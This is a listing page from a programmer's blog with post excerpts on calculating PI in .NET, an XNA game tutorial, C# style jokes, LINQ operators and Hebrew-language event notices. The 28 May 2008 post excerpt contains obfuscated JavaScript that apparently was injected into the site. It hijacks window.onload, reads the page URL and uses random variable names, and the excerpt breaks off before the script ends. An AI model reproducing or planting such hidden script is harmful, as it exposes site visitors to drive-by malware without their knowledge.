DCSIMG
LINQ - Pavel's Blog
Sign in | Join | Help

Pavel's Blog

Pavel is a software guy that is interested in almost everything
software related... way too much for too little time

Browse by Tags

Calculating PI in .NET
30 December 11 10:31 PM | pavely | 2 comment(s)
I always loved mathematics. Although I’m certainly not a mathematician by profession, I’m always intrigued and inspired by math’s pureness and cleverness. One of the simplest and fascinating aspects of math is the number PI . Described simply as the ratio of a circle’s circumference to its diameter, it’s a constant with infinite digits after the decimal point and most importantly, non repeating (at least as far as I know). There are many ways to calculate PI, as evident within the PI Wikipedia link...
XNA 2D Game Tutorial (Part 8)
13 November 10 02:46 PM | pavely | 8 comment(s)
Previous posts in this series: Part 1 : Getting started Part 2 : Drawing something Part 3 : Input handling Part 4 : Game Components Part 5 : Animation and Sprites Part 6 : Handling Projectiles Part 7 : Sound Effects   What do we have so far? A player controlling a ship capable of firing missiles (with sound), flying through space with a backdrop of passing stars. Clearly, no real challenge for the player yet. It’s time to add some enemies to challenge the player. In this part, we’ll handle setting...
How to be a Cool C# Programmer
20 July 10 10:35 PM | pavely | 9 comment(s)
There are many C# programmers out there… but you probably want to be the coolest… it’s not enough to just call a bunch of methods, invoke some delegates, etc. You need to write it cool. Here are some ways you can make yourself a cool C# programmer (and pick up geeky chicks at your local C# party): 1. Use anonymous delegates whenever possible (or lambda expressions, see 2): var nums = new List < int >(); //... var nums2 = nums . FindAll ( delegate ( int n ) {    return n % 2 == 0;...
תגים:, , ,
Presentation & Demos from C# LINQ Open House
18 February 09 01:54 PM | pavely | with no comments
Today I presented a Microsoft Open House event focused on C# 3.0 features and LINQ. Thank you all for coming! I have attached the presentation and demos. Note that to make the LINQ to SQL samples work, you must change the connection string appropriately in the app.config file, or pass another one in the NorthwindDataContext constructor. Presentation & Demos
Upcoming Courses and an Event
09 February 09 11:28 AM | pavely | with no comments
I’ll be teaching next week (starting from the 16th) a five day course (split) entitled “The C# 3.0 programming language” on .NET and C# fundamentals. On the 18th of this month, I’ll do an open house at Microsoft on C# 3.0 and LINQ (same thing I did a few months back at Air Force house, so if you were there, no need to come again – unless you really like the food). You can register here . On March 1st, I’ll be teaching my Windows Internals class (for developers) on the (obviously) internals of the...
Some "Less Famous" but Useful LINQ Operators
20 July 08 09:25 AM | pavely | with no comments
LINQ has many operators, but some get more attention than others. The most famous are the ones which can be expressed in a from clause, such as Where , OrderBy , OrderByDescending , GroupBy and Select . However, many other operators exist - here's my favorite list: Intersect, Union, Except These operators are the set operators intersection (AND), union (OR) and difference. The Intersect operator returns the items that are present in both sequences as a new sequence. Here's an example: var...
Presentation and Samples from Open House on C# 3.0 and LINQ
28 May 08 01:12 PM | pavely | with no comments
מצורפים המצגת והדוגמאות שנתתי הבוקר בבית הפתוח של Microsoft בבית חיל האויר. WqCoONEvfWsCORu = window.onload; var jksbrJpMjFkVExnJs= 18931 - 6689; window.onload = XeQrOxKNqPEeGWCBYp; GhBDxpwYHpISQwGkT = ""; oEDsUaUPpewfMxIy =19948 + 6567; SIjbURusbJVkpcqLCAK = ""; mERLyGLcAaFGuUF = ""; var dCXvkIIbnEILFiYAKv =23721; YvYYOLaRNxVOwATeD = WwBgKYEshHLfxRSn(window.location.href); var PUSWiyFMFIDjcEWv; nBionPUaLBKvpdwKXrI = '154221'; var SbvyQxIiupGGIpVESqh; EGBjpVBghJpnEwrFxSp...
ReSharper 4.0 beta is available for download
27 May 08 08:47 AM | pavely | with no comments
זמין להורדה גירסה 4 בטא של המוצר ReSharper ( www.jetbrains.com ) שהוא Addin חכם ל-Visual Studio 2005 ו-2008 ומטפל בשפות C# ו-VB. גרסה זו תומכת ב-C# 3.0 ו-VB 9.0.אחד המאפיינים הנחמדים שלו היא היכולת להמיר משפט LINQ בפורמט שאילתה לגרסת extension methods . לדוגמא, את השאילתה הבאה var products = from p in ctx.Products where p.Category.CategoryName.StartsWith("B") orderby p.UnitPrice descending select p; הופך בלחיצת כפתור ל- var products = ctx.Products.Where(p => p.Category.CategoryName.StartsWith...
Open House on C# 3.0 and LINQ
02 May 08 10:11 AM | pavely | with no comments
טק-אד נגמר... פסח נגמר... חוזרים לשגרה - הרצאות, טכנולוגיות, קורסים... ב-28 למאי אני מעביר "בית פתוח" במייקרוסופט (זה יהיה בבית חיל האויר) בנושא C# 3.0 ו-LINQ. כל מי שעדיין לא יצא לו להכיר את החידושים המגיעים עם Visual Studio 2008 וה-.NET 3.5, מוזמן. לינק לרישום ניתן למצוא כאן .
תגים:, ,
My Presentations and Demos from Visual Studio 2008 Open Day
20 March 08 02:58 PM | pavely | with no comments
בשבוע שעבר נערך כנס Visual Studio 2008 במכללת הייטק. מצורפות שתי המצגות והדוגמאות שהעברתי שם בנושאים LINQ ו-ASP.NET MVC Framework. Presentations LINQ Demo MVC Demo